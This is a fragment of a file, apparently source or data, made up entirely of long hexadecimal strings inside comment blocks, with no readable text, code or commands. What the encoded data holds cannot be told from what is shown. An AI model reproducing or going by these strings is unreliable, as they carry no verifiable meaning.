5b659e415b78d6faf8394e2142f5772131e84bb981a77d59a43f28fc9ec3c90b0067e4392ee73d1e1d60b0e623474037b637a8fff7f1c84655e1c4c9e8964af914d4b35e6af2a2d42ec7a95478cddcb9d4c78442af40a5faa02b0e20fee5ebff1f08506a79cfab855a239cc15c28c320a8cc4bdae6cf3107926de7c697539c2cd0dbcd7151525754634cd9eb8265ddcf8baf16feafc4f777d2f5d78e82466c1b0734609fb43acb51650ff1aee5a4fba4004f686c1b0b2892705963b71dd91e7eba35031e3efed332cd000f59700df00cc9c8950265be6570c6d8529b386871653740886a13c40708bc83be53bfe54981ae67d921db9b8e7ee3071584b5262bdf504d82459a772f3db67b142e934e3c196877f088a52845fa6067051fdc9ee25a5b12ba85cbd55ef5e361af6e380ee2985c0b46296347d49066cc1cf7215d3fbae1dfa0f83d692053cc35e6d2cb3e5cc218a3161e487c566227c30fc5f65b6aa664efb657d81805d29d40b204dd7557c81837b8dbd68b6908fd4b8d059e1c7e2d90e353d759927b3ea4552bcd3098cbbfa3b4f280008baf357e1a90eb02cd7f53ee111d40a96446297c506093d65fc5b983128d921f1e542a76e9609a60df9e859da4b771be97c3f7eda2124528f9f20bcbb4bc2ee46427924bc4b1c7dc9c8105ac6d6f6048f1f6d4d31daf794cc2aec7c6c8e8c3885beb81c819da1866c4f80b7d439c277a08d132a2412085d93f468be6456d27f96a74e343f821ad8be043ac354f2be443584c23e672ceebc887da3ef9ca5afb7a2b065b8a517830db4f7a13a4dfef4faf66a9fdd0ce2ef3bc3f5d3fceb47463dd9adeb05100d422e5d1fe59d1010818c5e5bc695b7058543ced999bdc63051bf226f739bb47dc571a735bd15eb1fad80139a9c3ec225fe22ff04eb0676721ff2185d9db2b86c83cb6513757f953f6bb0d6ad7bf8ba26d682481857515e23bd70eb562d94f68244b8e269527734dfc06ef72c806904aa9717dbf0a1e7763c83f4aef9ea514f5578b8a38f9e8fb5b4ea9b10f0368fa879b6543fdb85754ab084f2e316f343e63f95fad2457de7a08322e3fff58fa34bdc24def4029e486bc1f9365f94c38f81e8a2493af54127863581c1d1e40f8aab73cd9aa353d02e746caa0deef9d3bac6c629aeb8d7c6cba7d7421c1f34f7ef40ecd10dcd93279*/
/*b2fa5ca512de82be7448918ea160571c7b3482f160ed6bce9cb73d2485146db850700f4ba678ef043e51460c0a0a1d40ce90bce0ed59a03e6a968d3a945bb4179cb8707cc67c65907a289736da214fde1419df58aa35c30da0485223cb0da97c1a803434e4640be7a10b218302dce137ccbb1cb7a10f46a99aa4f3e9dfc4447ea6ee778a9890cafc04071d9d54231fcb29fa5cef140007034133b5523aaa6789f5c5c6237be7ae10b4fc0b093a94a11d3660c702c68dacc82459f063d630a99b55f833b2bab526f83e026afa68481c6d4e070863230f974634787e6b9a37628c3ea65dbec0b54398ddb76d472a72c90a011efb86ea3934efe13defb843915231cb0d775e2fbc1fb74935cc1bc9acd3e9eb536103310bb047d1be682fe520429b3636405b7b609d486cf4708f22ed5d63ac5e92d1b6fcf12b1cff95c700b95b469ac77c80d37849bc4e663538b36a57d7c4dba33ead192918f2135c71ffeb7b40f209b13840a662c16f8e306a4138528b32d5bdf6fdd9d3ea17612c90dee3caa349058d5adb1919110f6a53edf7b85fdeeaff6437e91b0907371a098637b0186c19b4d558a2de2302e8c3e921d10ecd56a5425fbd1ae4bdf989908824d96a71d31ad271e4bd955f8fed03fc4ef17b415a3c99c8c1d0105f1909bb34f25d217b8d8268e587421e7e26360d147aa7b36fd37b19b0f48e1823ada5c66b14590e1fcae64c5e18cbc8da13a997dd08b6135f0278557b73185e9a17e40b09bb17d64a0d6fd27480745f0260c9580220dbf9e96025e32753727341ffab266efc22a23659ea739d3b7ef26ec39560b8585e28c04769af17bf91e354ae22c03e2786fcca6d278aef83f6315bdbb84ce3c43207b6c6efaad661fa349778f4bb24bb26dec8ae5b1232d341834e9282bcc6641722558d90761e4c062801020d3d621fd26fd7599e82c18a630c7f91f94a956d0450595d486a295975b7d8a57731df5f041ffc81cb716fb0890c2a4cdc62cd23103cd5f971a111bc839a2835a44cead0c30b0d8271fb6a8fb3904f594517f67e90630591d1fcfc3a6328f3d2670242213d5534a1bfbf1d07daa1e0f6ee5afa2f3c385f1f8afef130137e560a7253165b9301d7087dddc5f3c6c4d24201a65bf6cc79e56211c71bed95265a388f0dea313a0d326b41cead7abadb43c3e17807ddeff9f487c22dcfd7e542600999aefce32edf4238ab8d548419fe142f8b825a144fa663b26475fe746be7de500db76b3d73437d39e156b4e23a0570cd48a2014863f084c37fd1e906e8ee2d5cad9fa7e69151bec0ca24e0d316e465fd9bf7f65900747f30642a39c6371f5ad10b030445b058b62b64954c7bddf189e8f189ff240f196e15b45644e2381767e7a9284b604b6ee6910cd0d01ed4d14295c54f5ea5f86d81fc749bf450bff7a018099dd0745fe0e62f93514d73baf35e0f86043211543e3c54ddb649966a4d9426b9d11a029db816298cd9963fbc3aaa91483eff3c49869bfb90a6ee7efbcd782fa3c55d300c45f26faeea05ac2a0a87227c55adf5e3e04c9b02be679bb0c29374234bd7c7d6710f94ffb6d2cb16711544c0907355a83211eaa41be50382a12af3dd9c20c38f4486eeba0314e2693aa5df71928974c1d16501bc58aaeaf2dc0c00e64026d72a508bd84f0c5e0bf3d533d0f2289921139269814a1e4d25aeb593c9b98c511c42f46ef8998ba5b28251c1299e4640cb32536d766663de3d6dd073873dfe59426c03c0f2a6530501096166ad5b8a535d174f63312be4d6d311945703cd4d80e555076e17e23ae5e8318a6586e66e0078858bc8491a0f2dee75a51657df42dbe0fc4bdf1fb3bd41c9c34bddc63ce9052a8842daed5de76153ffa05d41694ea358337e98893cd741896e1b55b65feec1238668a554ce426b0cde091069dc4e423781fc6e61930ebb39b6cd796cb6336962cbc4d615a8929824515cd6a1867457529f82fb1eb94386bfa7e68fd9b8b1fae914ee1a009bf1c91303196d7f18f44af3e3e2ca07cc58886b70ac42e13645b5b751c29781f1919b579d115a4a228c41a4503351bdcdfcfa5611a2ddf05d0a49555aebf9429420e9ed1b9c828a21d674e664b407939e2cbb045baced864b2df8203e7d4f6af8b823de96418fa0355dd8ff343d656ec4168f851fd679d9b99bbc5c8b812e6eb2fda6f7ba960ea4094797f946da2d67a46ca8e783776a7e49b740e4d877beedb8d7e44eed7ab6efca6430e3c6068799cd72e1fb9e3f4021b918aac25d74188115d004b88fb8a117f52a25cbc33e3b52e7572ef1e13cce72df1e7c0172476bea0c8142295492b061c4841b000ddbb6e8b5ccc997cd259b45fec95decdb1b3a8983c6ace2addf04eb0b5bcf13af1425cab162cf3e9222b15163f5b0364b841b75cf7a8e241a5975f923756f8da470a1630b9055824638de41baa61217cdf4a69428a874deaf5b9fa35d9e30ddd2ea894150311e119d9e9c9ed4af0a156b66a904721e20e0614ea6025c5652f685161a7d32bae85a4876758e3c1377a9c6910429213d4a2ebde0b3e589a1e608b7526c2c6e9edba0c7bd5a4b03781437889c0b87ea0311c1ff250562651ec07ca30db1b6fdd3ef26f9d33c411b8a1bac57f6ff2bc8ae7e972d327f61116a5dfba9e2d537a1d91040e18e2f32253c632e7e7ffa289a44a0328298a37e947a1866eb19b8b8363f8ea2d9997662d520e327bd98c671096ff7e2184a7d49e1cb0bb9a066484e35d3038e7bdc3b18db62f233b64d5e18a5a3e74e4f07fcd224b785c6639f6e145e697873a45fe0d25d4edefd7cb412a6*/
/*9735ed6dfcaa42b1127463e7ee813e6afc229cb440a5e5c5d07877f61e3e34871d0da719c45bf0257d27069068e1b7cba0d2cb913677df0eebea0c61726220252180b9a643d2218c54bd74ce1de835224c0a400f25a008a7679dd4252b21dfee2edeeeee4707235dbbdaee0d693c436159c1c23490d17ed18db71b7f2063547bc44af53f374abe33b9930e5885d777b7b0ddb88c618d35685a1e164c3d2bbd8aece4f3eb5fa3ff1566f3ca563c9a6e7e2dd403c590eb84e797cb85adf4d7bdefb3aa52355548b08f8cde1ed993754150ff76e6a12461cde717294026ee56003aa27df23625367999181db8f166e000b228031f4b27ffc1e6d7978afce9834d95e4fea9284f6677e57ba7c1af18be4cb1b17734bdcc3399dc3f0ffbaca23de01e13fd9c4004e23e5209c43a4580aa3922f69c7e3a827ab248f071415a75878444e1b347004707515c939b37130a75d8d0603a64667d3cf3a60976cd5e89287f500d93a2be372bdd7d85ae5eae271c425f944d48a02371dccf5b6193877143e30fc16ed6f50fdca8914179ad40c0c0f8c09f11267b5964f40f26d97446c8af16ba517e70ac05dec7a769cc5bf8e34f01ca4e028e93b5808cb9b31dfb929de94105944d37ee51861e0792abda71e38c5248363ee5cf7676f950fc52034a5fa4ee40502cda322f76683102b29c44d046fd807df2d9e6ca903ce2cfec6960c39bee5b1687bf489bf3a54c8788930b2111ec4c3f81ab1dec7eb33faff4ed0aa09e202753d2841c09646e5029e9f5a1ba8c3e05d4cd94adb80a2dcdf84fcedc0198fdb0c5aedfd85b08306aef3fa682f4c73330c21860ca9f9c1258a447a2ca1585609efcdac4524cb65177723055a97845e70a2d4410b67d5da5579597f23633098f8022047e65989f63ffd0408f8fee8a83d701375550da70aafc42b80eb7a8b0510699f2c537eaabe8c059d82fa28bd8f95a1ef552f83d544bb0809da4d125f4140ea3ee2299259f927170c5bab04b03e3422fc76ffb069afb85e3950777ec5a24ec1af4fe6de9407af682b9b74e9e6209415db766c2f76c0d79f2afcb801b129c8d7195c8617e7920424dcef4bc141c47eee3225d957e546678d73a227721e7664e4e42e7bf166556d259ea5aa6cdfb69162be3197efe6bf84c31137ef52ac81961980d03b4222a25d43464536c3b618d5e099a54a5f16d908cbc980a9249fcc848738bb3a4886e6b5c80f8a0640f0c1adcca1748b838bf9c395afc715c2d3d1bf7d444fb81a064ad5527db1c0c3031ec6d516d1dd75f51ef79f0011a11136007779c305727e6cbc3315830b454741aa983b92952f1f71bca908958de9b4245b2044813c510a0339e6b034b8772116ca94883d26ddb08c51596d9184264e2dd9443d0402d488075bad73707a046b81271ccf6d2979847aad5f2270ab026b845cdf50f29cfccc410d9f3adac1a3f237f70bb6a58c1e5d9acaf911e45564bbaeaba785120e73f0f481b10c4340cd8d2d858376629846d30e1834f8d4c42ba861fcc2c2bf74dbbc3f8c5fed5ddbab451ba10c9906f3d13e6c009adc530d515e7cc413ce37eaa9c336f39b1e3d67018147c7884e0c7b71341485afec4a7c63c87e3c38e21a405a3748e3831e82f0c8d42d5b3a9fd1c1c7ce65c3ecea6009807cd1ef62de6cf9b49d166cc94c501c5ae6d7166b830744594b3adc866b160d6aa3e2431735921fd5e61945a2209b49ff8e4a6df248d7cc8c28738146726da62de0139711361bf187f4101fd27ba0c93a68b5d80c6084f85ff0e567ffa62d3b0c55e0c3fb31d46867c4d85b21c73443a0c46966b3902440b0284e28a43f1a0e4f1d38b2890fa4859b904d381182b686c71a0f9f0988d677796c03d9b4e7fd4d7b181dda56f992ddb2cbc7bd7d44edd766cf576898fca9910489ccc6c417986185430b79166bb1f7a482be72b3288890281f497870136a1bacddeb78e2f33aa86378d46c658fa8f6e66121fe2f4b776da67da0d0d4857ff56b16b2d005bbfdb3eb634857f2b1c4c9feca4c2a54afcc12f70f8e2a0170907f67f8453a6950b5e3fe5228c5698b2e8510d886be89f76ae4df7d4cbe1e0f23491a03bc99a090a0ee7d8a79b027700e057d9c6aad6cd9a1ee57a73ba0f04caa42a60a46be15b8127792b4342a5cf4a14c1527f897f98d4123890a305ba5ffb6faf2c9db3210e3881a1412fbb6dc1c8a9dd5cb630b626d65ff6c17ef79421a369d6f446aba415f29fcdb8922b3274f0ad3dfbb645a7b07e7e489a29f407691672ea6206564c6ef4a4fc4e6a832281d268687bde8cdae5be5d9f59209301afd702447621d77496777a09e4468c6ebbcd8019812b135387ed85d1fd27e189cb6e48d00e1ad7398dbeb38d5307df73d48a8358a514ac527ecdfefa33d88c8a6e927c7f6540d0be030ec2ee6faac10396d0488591cea1bd92737a9fc23bf891a76666dd725c2993e7c77a250f20ae6f567d9ecf5478061a21be74a8099b0defc4478845573cc9ca7e97f838008602a0cce86664e52c2bcd99b1a191232ba9569ede33cac7970c94ead2ca8783f99d3cea5ddf236c488bea9c145ab2081120cb036527dc1d7ec8a937483a5e3679a15e075144ac9c7a06eee6b9c2cee89fd2c80f73e07c5a0f9dce058faa2c299cdfbf5146d445170076625d16ee4b53aacf0b492c570a5dd7ed49a3c535c12593f77e34cf2cb17c60f0d4ba4ab793aa31a29887cc7f226e1c9c710b003a0236a0386b35d5de90ecad5c03a0508e97e7a4c453de1b035f8c29373386ed09e535d0f97d27a739775372fc9a097fc0012007b25560*/
/*eab1a41f13605ed18573b113ac0639629f8591825393cb6253f90ae9075cfea860cfb5fc7953296c82a5ad3628f824ce944d721aec41cf66729b738c84ec0043d14771c93644781106b69fb24ac3d616bb285b5021279c522f5416ae1b143978e1d40c9ad92c1dc5ea2e5e06b5b377523186b81ddc6f445737e64c4e39db48dd10d304d5f783a722f8b11a74fd53a6082071a16c1c0554fe61e516996ae5aa738e4324bcb9e3d084b32cb7f2771aade5627805056a153910baaada9f5492a6036d48fcfd32ce47043636616d903dc0e7bbe9b101d10b7bdf733056e8bc427ba01acb7265c3cecfd00840e25c9f19e4158d2a164faabbff568463d8229bf27828692613244b32ff20e5ff8a23e51919d59edc74d53f0283b55ec52ddff382bce6ff81a2b6e6120d4374ea4b186ce8e92bf3f17e8410694a163728865753931705b8564a15503974b98461e51eb201350a35060de2adb6e65efafd735ca6ca8e50a03a9872287f1f2ee4f12e54b4a30a03bf6f766232b621ba5cfcf6b592469e01fe260fefe7a41ff3c86f663055232a57b2b035cd6156a9b484767e569ce847f146462d24b0e2c32cf87e00edff340a351580ba8fb03382680bbf229fcee10a108ceebbefded3db39704c943ba65a284ff169c26e20dd340a96fc089020fe7f7c1ff65be05dbe97e05b45c117fa69fcaafd8efcef646296b1e354fb1b39c56f9f1bb9db69a4643e32a223ee0a8735c48f2d52b04c4350ca4aefd779546d878f0b362bd6b91919b738448d5b6f3c8a8704a0e9a9203ef45b97c76db75221046c4f98b6c028609c321a3ff215ae8e23218791a316321c33f27eaae3a668529a55c1c83fa40146fa6ec808c2cf891f200923c0c6132d6b991a26380ebbc204a75135139d036c7771f5e978811f401d376a2fa55b328b4798becf0203f08aad0ded3eac16f331e6b0da6f19bed892d383b382b1d30386c43aa79612a3ad5a241d583f5c795c4213230d841b8aeb368ea3c290838d357aa3a2698b1956fe18a060ae32195f269f200a0782b8184c108ebf956a55652a851be75496dbed59a44fa51f2f96fbbc7ee7d596dc791de401711a8f8802c736aea03f3e7ac4f8e10a0c1cb6e39763f6c70485b98ec09837a9522b5801f3f010777ea7a0418682b5a8d282c8d2806a049b37fba63c97480c5800e85715971d5f08127b164ddf88218c80e74e0906e7cff0042e4fabb8e09aabce8cec51f84e7d3ac71a0c18c67bceb13a69d3144b9bf615f43e3ad29aaa656677c57e36807a88a0bc38eedcd73400f110dfa9557a8ab6d149d323becfdb5450c1327dbcb9ee7c947147d2c4fb8ea8c874242295addd6375c5d7029e10425b13ed345e75713e06ae305ddbe8613b69abb19c09170dfe54d46018d712bb8dd99f05259ea255c1b98da9ead8cc397275cd16ed3f2e641790c347eee4446cbd84a641547a29e4aa7862e7c8c4f28b0d10ca339b0534241f0e9756a820e0bbfcffc2409fa9f7ee737fc828781562a24d92bc590d280f3c0f1ab76a78743980f9a2ecdeaeafc4a9ab97751514ad167f8ac438a86a23758810d392493e08b47f9895bf993bc1390e88eda9ecfd58cc7dc4eb5a7948e7764c6138507f56ff53e2d87f38101582298ea1b647abac8b670a0c02a21a4095728588c7bdd4c171b49abecdd177a6c1ffd1bfeb0c9ac87ce5ad00ac433359f91f23bb09f8d2f84005ea4eaeaf2b8d6c616c78380cd2335afc46fd21edbb8cf165b2d914c1db9751f24bbb4a6693e42f3fedf12a774a0f2f177eac39ee99587e6620742b82888e4e6256b9b2c38083ac7b61f7215b4294654f1406a2fdd6b23fda95744cc8fd4f0507c9f52eb5061c15de03e687bc2b1c332ebbda485710278463c2cbf07d054a735fff84beb95dc00da226046d08a8457ef3e53c847660d3c290d9f0ddeb9944e7ef64ff530845eda385c5a55a8a1d835aa2d4026141293e61c608b905f9072716d30c8ef60968556abc5eb9da2ca01adb07d45e40a43e8e0d04ef012b0b4fd167cfb4aa8ed2daf92a11c265fb99d70ced16f456997a2e133b666b09633c1f1213d07a2cdbab827fd339828162276b2df0905b27848961df37526b87a665fdd14356187e2df84bd4ed61eb31c09a9c440fd3e80889974a2be935816fe52b5f96f3db49a98715ed8bdcf3ba956979764ef91a755d44ed7d4880c8fa3815a3dc3fd511be2a94f8bd0594ae82da097393f8bbf38d10c7077c4c1a108ef47f4ce87fc2b6c440d2cb534cd82ffcbfbe6ec5eaab5a6ad222a883ab1bf30c60cd6ff23fd2cf00475c9e6390f867dc095f84b0b648ca164e272b61f3429df53854a0fa6642cd457fcd39c96e0c4c8e590272293d46dafe5443a5456fc566d7a5c472656036e2a7b71320faa96a52dd08e0b7b422cd47a571429938cc2dfc15c2623ca1867232a8dfd0a55fa4798a979483c97fb03c35b7fdefb5ad42c702c13098e144e69a74550c8b8cf2323ab04f28b1e16c44c6668041a7afecbe6bcc46c0374073bf7efaaf8aa6f6034a7f82588166625591ae0d7471c4675179262b6a4526e4b05d68de75a1c9356c143d576d0bd14eaf05f034c081bedc902403759e0ef5708ab5455b0de9666d9673dba7e850230a89e4bb535d9d6aad5762f1c69694e9665e5b7561388ead6a5498e68229d9d3b5d36fd69e43052f65c6af40c1c8b93e8aaab2b242d50e389d877bb32e579db409e7ef5ee0b41f58610e1502f87d0363406d91cbaf50461a668d0ed728beffee0aba1c55c885e73e8ef4a9c77a52e54a62d11daa67158619910faa3a9c*/
/*3e8ffbba80fb8c421cd1deafd34165897a5ab2cf76e99ababa2f42f05e87f0270707275bfe67b7f700327b053a46119ecccad56a2851109688d600da623ee08d555941855795cc5d939d6c4bd1766fe84e3ecafe6cbcfeebdc3eaf7cbb42891c70a4be9f2fda7c1af2ae902ee8181c4b89fe1f084d6103625919b88aacf1ab5ecd4dcb93953665140ea0b6206154e0bea9e2c22ce38cd5ced9a97b01c3e81ac2ed2589398eeec58d89a536cec82629142d3d99182b2d39327c9a3241ecd8d0ef09cda57ae7e5936895b17d1c8b65089a6f369fd39f2c65f18a506d55d96a20af648210780d31a411280f7e000f937ea3034b4ff46de48bbfeed562a60df8767856c896bfa56e7b3ad387bc5a7788f6db6f81f562a399cc4c2d4b4a78bbdc50e554665b3a9f808d60b18c01bc3e09e8b207c2f04d4aaa4d22f7723b9679d907fbffc43c12d496b570c60f56f6e0b24d6d1584a7a969a728e5c80eb893623650d9f667a577847ce9ce6e83696c3fe05b7e8fa324fd6d07478deaff4fe15bdb66e46cd5fe605078c8fb12864713cb9a656595b8254e9af62e20655991f091d5d004e7cccfba64219b84c7820bf786626aa55d5cf616c165783e9eb3e7d19c0ce1926403a3cd86f6a9abaf12e3f3d2185fc69ddb755f6cccb13e9ad8d83628c5f9339125fa8c8b6f7ca6ce177601492a52fb200f32a1674da13f33e9091d305eaa3e5afae5f9d58d6c98f18cfd424b3b88efe583b0994bf7420841845348ba49f84063acea4ef30e51b41e4c23e85dd363e9ec43e1631154269b2dabba4b9d8e86802dd69ec99f561318a20f74714cef4a4ded003558502791a0ac766f1b042f21b4774f87088f07ba5e1e996c5f72ec780cfab909cebfcd1c951bddbcec2c8e1298c8e2325a0710eb0378e1e2faf891844477364c016d581843685a9d6a0d8c7d2f7f33b78076b9ea28e4c8459d4adf08ba9d610c978043d322dc9964c66b5d237b5a3d47f3df661269fa5ffddb90935500f0219ebcc22383cbaa77d4b6b3666c3c049dce4e3a2a10397aa18a554093c053d4ece22a6686e3add7d97d38ac5af82b82165d913a13a94cbae1227a9edf13656b9f2fa542c768beaadc8cc26859c1a3464dd7538438942af1a17d4d49d2e9f78bf6a70deba19ac3895f9f604f813c090c2ce520167f155070a2661a68dba6e72bb0f04a1078238c3873c9ff2082671f9388c6b6575e4976ef8fd1ec5a98787948cc3f2d054085c581e5f5acc70320cd74b3d58f0d9b97264c2a1c2e63abbc50ef732fad09531be5cac5c1f7ae4da52371ade7ad37a2fa2acaa26a721f3db1e8ea1fd4f70d414532713f502ef92fd01741e8bc752d2fe5accc0acb55ef42be05c6c46643c835400f2f626ea7bcaa82a1e930399853e1844ec231a024f0aa3907524dca53f1e11cbbac2a9c0ea819216da821b57b5eb237b9f0b8ad2345fc6a30cd8dee7ff04007479dbf282d2784e180209b059835c513c47c4240c43ffef5749f6932796edd8033d737ddd7ab3b5cb092f2446606e0d13b8da45b7273d3e67761ad2209fe32c886e0ad90396d88fab281e77b9ff1085fb54ad96c04cae0e97167e0da8596b4518bfc1dd058aba9f44afbfac1583494d0d2277adbb953545387555f7b3fffb462d1951a1db52bb2475ec20f1772d148cd91ad5ab9deac41663d64fd417834affed1e70a055b7199fdd4f4332aaf5e9134f008f4e32809ac902dbef6eb585c8b31ac3c83d3f283a3b2a40e3b6bd564c99366dda17ded5d9f642afb11430043f042733dae88d7b151fd71c4c912746f59ba536acdbb8bb315451ac7209f86dff613b2531b824d21cc00ace0cef0834d80ff2436bb2b5f7d53f8796895f330a1c6553fa66ad31175769201dd05b5e718b61aa78c0dc3e286bf0d231c6db8348d78e62b508bb958ae95fabef7c96ae8fb7448254eb9fdb438e2d427f66564a6b8f8553b16582c6427907b3cc630ff84cc197a003fd5c3e5980f6b9b042bf4970763495b83b28ccb682903dbcd9125fe16543dcf6e0d600288a0c84b91f0364a5ff166af6ddb559b95c034b9ab09817b057ec51d4f204b52a2fb98fefda7153fd440924b108e7877f5512e1288db5241e0ce921781df8d5dca870dda552ffc6e80ebc703328da30743323c742b21c9b8f39776d136a927cc719f79634c0298d3b7f79117813ab142b2383215bfe860aa89212616544014fb8b632cb2cfa87a419fed41b4e0b0b8dcdb22bf5d0c126d9f1be195d2dbc91f2c7728e3a2c770544084d523f19931e750484828111389df056e04a574a04633e6a8961c57b9f51ac017db84dae2188edd16e218efb88145abfcac55643ccb2379f0924c0ac166fe522fa3df12a387b54c758911708c8cf70886f446381aa4ca86278c5a4cbf6bd3aa68ddb49701ab1d90da606a6c58a8c0f222271f4091dd32abc0125be90d0bc19a5c1e1eb0391b8cb212d0e8cc4b29faeb925a9f18ccc6b77a60224f04bea59be23e53035013a77dabccc57662c9a9af5364ffc3a7f523e320c8b60bec715da4e671e652b88e88599f842f71bfb6d7b57a65d666a2ae139841163461636e947d06b07184773fc92d03dded97b7ef77352bed0bffe754a57879379cb7385f23afcad7323454ad3bd505a961fb536af0d56bca1f0829d83b23a8346706007797dbea8c07dfbd849960bdcdf2f66b655ea42b7f26114838ac8fa84ee8b39907186c52123eb25ad271a6ac770fa9d23b1c702bb060193b36004e5cdf7431d969c42727d9b0b9ae348a530b7e780af7df144f97d5f9b311f25132c8a9eb364e*/
/*3999944d8957e0cbdc42ec33f258a276ce7f8e6e76330fe82453c46e013fe36052d4a87802d28f15a82e9582addbff74e5440e48190612c472b0b30d9270d567b75fcf3a8c0b9e407334a3b303c8e4c746f39320759f18f6622a3a21465a82d8db26a0f7e957d32d352bebe5777fdf8a7175a28c3407aba52ccfac190e4bfc7c8394876fcb7aa95e7c195028a60f231bf1935cb60e8aae75716197ab8f08712c08150ea8f7262c227ce1eb91c4f8eb0f5ebc134023277817ff99eed45919c617dc3327a2d7b01f26cfb7e5019f3be74260439e8e4570a6becbacf59a51141cb3d39749e491368b1fac9e59b2fa9157ef45fe8e0ed52fb66d41ba56079fa00df1e762d157da4b858dfa7c6e8185b6f06def5fe38eba790d6677ba3206260ee77570f176626d8ddbc61e713da75eee1a74004908c513b2a7a5df01c7115bd63fca8570412a9c240828fbef5fffdd2d709cbb8d9f61adecd719ce3c91aa3ad83d9cba7f3877b33f46bf8a65f6c7cf31a7eb422e6c70ac768f9d0572c0bc792140fa41efd2de96e3c44084e11baac9ce0c5d01e852ca7409c9e7c6f53c9f40bc9a4ba58361cded40c3fd72f9f3ad80fa2eb4a179280818ce7ab9de5d4447ce4aa5ce0580aa36a8cbd3727a067dffeca48cfef7a44a7a47767459efa3727cec76bd36c7796bccd184b62f883998f4c15f4287392b1177b8dc8e474390859c5de3143719dfe407cff614b5469848a62b6c0e0323972f50ac6fad0717d18eff6e0a3e3fed7bc12a470ebcc0c2eef10ca56497b6f4da2288fe7a22ed932cee21bca80fd01c9b6b5b0421fc2ab21fab246a4d78b5de3424b60248599db76ee01e8d8e5cd3825f2ae8fd493c273c93edbc26d63a0248a9204d03d58ef7be16e5ddff4f0c9c886c09131136cf99a7d9851a9fe24352aa4e04923aea35d81138807004ef43f4c082c4db9348f8dd5da4cbcc9933f2b0f1811dda47781fe33421d89c29e9fcb61b837a42764d2a23729b1c83c6d2788f99d5cb429490a908b59d5c91354e816579ef8ca3485a6b05506559d448fe576ce82b4ff6523d2a1097d519293758c09e0f53260f2367387485cc4192d95f1ae6d423c53cbad8f48c06a9040695513bf5fb7d4a6acf13f16af7ff31b30f732be8669bbc8face8d11955c2e8ad7066bd4173fe20c935909d235c67632d092585b98a764c46cf6bba08e7a75526b387c454e4551ab346b09d8cfdf069a537b6259741127bd85db9adf2f49a6c9534b25fd0b92b6dc72b2dea2f9cf996b999d15c6eede64d40b4b44b26235c14f8f961d225aa8e77533958c4a20ad46c1bf84f077dd6cf1d4051c964013ac734fe5b5de3389875893d4d33d1409e9ee926138fbf87284e07f22a7a463cbafabbee858cf1de604b441de9fd947c1ba562d9e2a8e917c514973b0b44d7e1af239254b5ad6491e850c5dac3f367173dcc3c4ea9640028f1e9ee0146f8e9cc39345289e7448d63a4e3e21f1624e4b9be2814c07889d29b795ba666943900ba7ebcfa72d74a11779bd54682f77a1544d32d9b9038b5fa4bacf4b08909af968a522b0e7d49085d8ba1c9c20d468ce9781082ef5c56201dac5f1ce4879d6ed15bc25b872a0f39355b1edcecf6e9df7dbaa4896265e8c5e717bfcf4f1be207fe29bfb475ad21ec60f8f4f18bfb76e55d956e55e48ab0b14bbc82d05c0b67e842f67fc62d03acba7135a699be3f1dd441b70cf6333ad2a7c3783504afbcfc1b8cc77622136b575b99a755b0cd73778c8a01df1ef7bd7077042cc08dc795eceaa78e949dec4658406499c79f4c8d05396ef57d139f1b8cda91ec2d0cc30a20c217c29fd5a48459b2d466f2502fabee39b59bfda15e7674f7fa560c0b60573683258c9e99e1a45a679d94e2d7821f7cc365bd6760ee91261f5b19f3f17e9af4025e18ea02cd8352b9b836ce4971056f7da9dd2ab4c70c6ed08211bf9e54afdcbc57156a16b297e443347e52355e1b9ffb2b643816ce8e6aabd5464843d76406e5172892c95c5c5a8c9ec73cec07c2d8a2df9eda0093f400e756c3e308e3b6dede6ae8510c7dac2a0d1165e01e00339f28e9a2323a08d78734867f6241a0028b158b59534766a921a990136fad3ca9339991e81ea31f53e6986550699105a4945a0e47a8921e207d43530b358e36527b54a6f83493ef296091251a43f1f3598e8c5116d0091723ee0d3a7d3b3bf40dfbeafc0e981ad04d22e7f45d32ac13b4ebbeb5ecaec94752ec48b5681eb923994f212654ad815f6d559072022e1e108a78cb49e6a220220678a6f91d2c9709a30bfa1cd573b3d7d014aac5b33ee59e9b886f7f060195bbca5c2a11881b7a4df49874023a75843c3f47730d6132138485cef5ff61a8254bd04a144db9ceb8d3dbb70722fc37851237836a768ba57e8813a48955d25cd9a3dedf38e186c2d4c2f1539f90bd035d6191e71ab710f1eb0ac8895df34a7cc3770ee74515fdc43597f10b4b43a5f6586ba9c017da3c1145dee979be2a4baaba1b16b8f96d0c6a85fbe334565545097ed5a4dfcdbb302445b85faee1f5d57cc38ca5a436ba27cf279a40e31aa1cacc221aa0fe63738c3dc9c7328ef0ee25a0b8bc21114c8a052c4bde10b69daf3b8aee310c7934b8b2083c89b76660dda28b6f9342ff4ae2b4356060d8149495296a1b9d2baf944086f6769c345941d8016f9a1b55da529564bb9968945a767013de4f09a0e45ef81e1e0770bb380330324e4d0e76a1184718fad16260bb1bca66c7e69c85e9f9db1abfb414c906d0f0f58513c554b5dd4fc3046d705256e75295de48b4ce753949c3*/
/*e48a58f584f3be2b9515901891422f124e175316a77d237275d97b225dcc3b94ff994125bf850d38adb01e097dcb31e5513a78f1718734b5c94a5d9c313f062a6358663a12531f322ab00100fa9e1d919145470e77e49c91d6e2787826fa6eaabea6d7a454ffd8c5af3bc76fdddff78747c3885c47d6f80d88ef179b1eca22efe4735159836e53e1c2ec9a3b711bea9e95d5f0e00dd13aeb63f0f5e3455e176f15d7d084c7ba63a81d77e85d448aa6c6ee6be78406824f9bd76e58404d37a72df7a61cbbc632231310b2f2433e204754399a124302d5e50e7c2b997a05dc6421aaa5af094ecaf51a8809167b0a316d936b0cd235af6473fc33888c8c74aae6a1d0e2a13cac9ca25401daf764670a95866e93e287545caf7988a8f3ab7eea994dc3c365647fd54d8df4f7b27db9dab62e4529664d6c23ee9f79b49d8f14631121ad43925f7cc58923d123244ba0a9bd4f2f7c7274eb8d9ecb8391b869e21550d604691d23dffc6b870286c3a88a50b8dfbf9c9a959279e1488e36608d52f7511fc78c2b7394ff3c11c9a606e8f8559bd5d752f3fb1f60a3a5e444e6e989aa311298850bf9a976b433700176867ce75ec5c8814d758499095933dcb5f10e7cef9e4928d1d0547dca3da1efa436f16d0662b3a4f0e6daa0cca759fc0cced625b50adedf4656af26818813bedad79d83c7601b757a85341ddb2c4cada9a1811d3b100cf7cc1ce74ffed66eabcb05715a62d9458ea8accb2ed8a13c61d90265ef4fb4dd3e6469c067e2e4ee052dfea3d44860da661fa12d7e657ef0addb30226f47071e47d9aa2cbe734e823700a2d01e9685ea1993606e75afe47a43bb909ff8c17186fa455aa5bc1222e70aee8fce2393dc84dec58a9d3918d13f88bd7e21054eda66050d1d6d8acaeacd6074f96549104ac960fb68e4df6a32f208f61e39abe72d7a26fb9d92a3